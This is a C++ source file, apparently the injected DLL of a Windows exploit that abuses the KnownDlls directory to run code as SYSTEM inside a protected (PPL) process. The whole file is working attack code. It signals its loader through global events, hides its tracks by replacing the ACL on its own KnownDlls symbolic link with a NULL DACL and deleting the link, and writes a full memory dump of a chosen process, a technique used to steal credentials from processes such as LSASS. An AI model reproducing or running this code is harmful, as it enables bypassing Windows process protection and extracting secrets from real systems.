Files
2021-04-07 15:12:47 +02:00

393 lines
11 KiB
C++

#include "dllexploit.h"
void DoStuff()
{
LPWSTR pwszDllName = NULL;
BOOL bSuccess = FALSE;
WCHAR wszEventName[MAX_PATH] = { 0 };
HANDLE hEvent = NULL;
//
// 1. Parse the command line
//
// Then, we can parse the command line to get the ID of the process to dump and the path of
// the target dump file.
//
ParseCommandLine();
if (g_bDebug)
LogToConsole(L"DEBUG mode enabled\n");
if (g_bDebug)
LogToConsole(L"PID=%d | File='%ws' | GUID='%ws'\n", g_dwProcessId, g_pwszDumpFilePath, g_pwszGuid);
//
// Signal first Event (DLL loaded)
//
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DLL_LOADED", g_pwszGuid);
if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))
{
if (!SetEvent(hEvent))
LogLastError(L"SetEvent");
CloseHandle(hEvent);
}
else
LogLastError(L"OpenEvent");
if (g_bVerbose)
LogToConsole(L"[*] DLL loaded.\n");
//
// 2. Do some cleanup
//
// First things first, we need to delete the symbolic link that was created in \KnownDlls.
// As this code is executed as SYSTEM inside a PPL with the WindowsTCB protection level, it
// should not be a problem.
//
if (!GetCurrentDllFileName(&pwszDllName))
goto end;
if (!DeleteKnownDllEntry(pwszDllName))
LogToConsole(L"[-] Failed to delete KnownDll entry '%ws'\n", pwszDllName);
else
{
if (g_bVerbose)
LogToConsole(L"[*] KnownDll entry '%ws' removed.\n", pwszDllName);
}
//
// 3. Dump the memory of the target process
//
// Finally, dump the memmory of the target process using MiniDumpWriteDump.
//
bSuccess = DumpProcessMemory(g_dwProcessId, g_pwszDumpFilePath);
if (g_bVerbose)
LogToConsole(L"%ws DumpProcessMemory: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE");
if (bSuccess)
{
//
// Signal second Event (dump success)
//
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DUMP_SUCCESS", g_pwszGuid);
if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))
{
if (!SetEvent(hEvent))
LogLastError(L"SetEvent");
CloseHandle(hEvent);
}
else
LogLastError(L"OpenEvent");
}
end:
if (pwszDllName)
LocalFree(pwszDllName);
}
void LogToConsole(LPCWSTR pwszFormat, ...)
{
//
// The process in which we load this DLL does not have a console so we need to attach to the
// parent process' console. To do so, we can call AttachConsole with the special value
// ATTACH_PARENT_PROCESS. Then, we can get the STDOUT handle. This handle is stored will be
// stored as a global variable so we need to initialize it only once.
//
if (g_hConsoleOutput == NULL)
{
AttachConsole(ATTACH_PARENT_PROCESS);
if (!(g_hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE)))
return;
}
//
// Prepare otuput string and use WriteConsole instead of wprintf. This way, we can directly use
// the STDOUT handle we got previously.
//
DWORD dwOutputStringSize = 0;
LPWSTR pwszOutputString = NULL;
va_list va;
size_t offset = 0;
va_start(va, pwszFormat);
if (g_bDebug)
dwOutputStringSize += (DWORD)wcslen(L"[DEBUG] (DLL) ") * sizeof(WCHAR);
else
dwOutputStringSize += (DWORD)wcslen(L"(DLL) ") * sizeof(WCHAR);
dwOutputStringSize += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2; // \0
pwszOutputString = (LPWSTR)LocalAlloc(LPTR, dwOutputStringSize);
if (pwszOutputString)
{
if (g_bDebug)
StringCchPrintf(pwszOutputString, dwOutputStringSize, L"[DEBUG] (DLL) ");
else
StringCchPrintf(pwszOutputString, dwOutputStringSize, L"(DLL) ");
if (SUCCEEDED(StringCbLength(pwszOutputString, dwOutputStringSize, &offset)))
{
StringCbVPrintf(&pwszOutputString[offset / sizeof(WCHAR)], dwOutputStringSize - offset, pwszFormat, va);
WriteConsole(g_hConsoleOutput, pwszOutputString, (DWORD)wcslen(pwszOutputString), NULL, NULL);
}
LocalFree(pwszOutputString);
}
va_end(va);
}
void LogLastError(LPCWSTR pwszFunctionName)
{
DWORD dwLastError = GetLastError();
if (dwLastError != ERROR_SUCCESS)
LogToConsole(L"Function '%ws' returned error code %d - %ws\n", pwszFunctionName, dwLastError, _com_error(HRESULT_FROM_WIN32(dwLastError)).ErrorMessage());
}
BOOL GetCurrentDllFileName(LPWSTR* ppwszDllName)
{
WCHAR wszDllPath[MAX_PATH];
LPWSTR pwszDllName = NULL;
GetModuleFileName(g_hInstance, wszDllPath, MAX_PATH);
if (GetLastError() == ERROR_SUCCESS)
{
pwszDllName = PathFindFileName(wszDllPath);
*ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));
if (*ppwszDllName)
{
StringCchPrintf(*ppwszDllName, 64, L"%ws", pwszDllName);
return TRUE;
}
}
return FALSE;
}
BOOL DeleteKnownDllEntry(LPCWSTR pwszDllName)
{
BOOL bReturnValue = FALSE;
NTSTATUS status = 0;
HANDLE hLink = NULL;
LPWSTR pwszLinkPath = NULL;
UNICODE_STRING name = { 0 };
OBJECT_ATTRIBUTES oa = { 0 };
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
//
// Build the path of the symbolic link object to delete. The name of the DLL can be determined
// at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as
// '\KnownDlls\DPAPI.dll'.
//
pwszLinkPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
if (!pwszLinkPath)
goto end;
StringCchPrintf(pwszLinkPath, MAX_PATH, L"\\KnownDlls\\%ws", pwszDllName);
if (g_bDebug)
LogToConsole(L"Object to delete: %ws\n", pwszLinkPath);
RtlInitUnicodeString(&name, pwszLinkPath);
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
//
// Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete
// the link. Unfortunately, the inherited ACL does not grant us this right and we will thus
// get an "Access denied" error. What we can do though is open the symbolic link object with
// WRITE_DAC access in order to change the ACL of the object.
//
status = NtOpenSymbolicLinkObject(&hLink, WRITE_DAC, &oa);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtOpenSymbolicLinkObject");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtOpenSymbolicLinkObject('%ws', WRITE_DAC) OK\n", pwszLinkPath);
//
// Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone
// access to the object but that's not really an issue because we'll delete it right after.
//
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
#pragma warning( suppress : 6248 ) // Disable warning as setting a NULL DACL is intentional here
if (!SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE))
{
LogLastError(L"SetSecurityDescriptorDacl");
}
sa.nLength = sizeof(sa);
sa.bInheritHandle = FALSE;
sa.lpSecurityDescriptor = &sd;
//
// Apply the new Security Descriptor.
//
if (!SetKernelObjectSecurity(hLink, DACL_SECURITY_INFORMATION, &sd))
{
LogLastError(L"SetKernelObjectSecurity");
goto end;
}
if (g_bDebug)
LogToConsole(L"SetKernelObjectSecurity OK\n");
//
// At this point we can close the object handle because only the WRITE_DAC right is associated
// to it. This handle will not allow us to delete the object.
//
status = NtClose(hLink);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtClose");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtClose OK\n");
//
// This time, we should be able to open the link object with DELETE access.
//
status = NtOpenSymbolicLinkObject(&hLink, DELETE, &oa);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtOpenSymbolicLinkObject");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtOpenSymbolicLinkObject('%ws', DELETE) OK\n", pwszLinkPath);
//
// Now, we can invoke NtMakeTemporaryObject to disable the "Permanent" flag of the object. When
// an object does not have the "Permanent" flag enabled, it is automatically deleted when all
// its handles are closed.
//
status = NtMakeTemporaryObject(hLink);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtMakeTemporaryObject");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtMakeTemporaryObject OK\n");
bReturnValue = status == STATUS_SUCCESS;
//
// We should be the only process to have an opened handle on this object. So, if we close it,
// the link should be automatically deleted.
//
end:
if (hLink)
NtClose(hLink);
if (pwszLinkPath)
LocalFree(pwszLinkPath);
return bReturnValue;
}
BOOL ParseCommandLine()
{
LPWSTR pwszCommandLine = GetCommandLine();
LPWSTR* argv = NULL;
int argc = 0;
int i = 0;
argv = CommandLineToArgvW(pwszCommandLine, &argc);
if (!argv)
return FALSE;
if (argc < 4)
return FALSE;
g_dwProcessId = wcstoul(argv[1], NULL, 10);
g_pwszDumpFilePath = argv[2];
g_pwszGuid = argv[3];
if (argc > 4)
{
if (_wcsicmp(argv[4], L"-v") == 0)
g_bVerbose = TRUE;
else if (_wcsicmp(argv[4], L"-d") == 0)
{
g_bVerbose = TRUE;
g_bDebug = TRUE;
}
}
return TRUE;
}
BOOL DumpProcessMemory(DWORD dwProcessId, LPWSTR pwszDumpFilePath)
{
BOOL bReturnValue = FALSE;
BOOL bFileCreated = FALSE;
HANDLE hFile = NULL;
HANDLE hProcess = NULL;
DWORD dwLastError = 0;
hFile = CreateFile(pwszDumpFilePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
LogLastError(L"CreateFile");
goto end;
}
if (g_bDebug)
LogToConsole(L"CreateFile('%ws') OK\n", pwszDumpFilePath);
bFileCreated = TRUE;
//
// The process handle used by MiniDumpWriteDump requires only the flags PROCESS_VM_READ and
// PROCESS_QUERY_INFORMATION.
//
if (!(hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessId)))
{
LogLastError(L"OpenProcess");
goto end;
}
if (g_bDebug)
LogToConsole(L"OpenProcess(%d) OK\n", dwProcessId);
if (!(bReturnValue = MiniDumpWriteDump(hProcess, dwProcessId, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL)))
{
//
// MiniDumpWriteDump sets the Last Error as a HRESULT, not a standard Win32 code... :/
//
dwLastError = GetLastError();
LogToConsole(L"[-] MiniDumpWriteDump failed with error code 0x%08x (%ws)\n", dwLastError, _com_error(dwLastError).ErrorMessage());
goto end;
}
bReturnValue = TRUE;
end:
if (hFile && hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
if (hProcess)
CloseHandle(hProcess);
if (!bReturnValue && bFileCreated)
DeleteFile(pwszDumpFilePath); // If the dump failed, delete the file
return bReturnValue;
}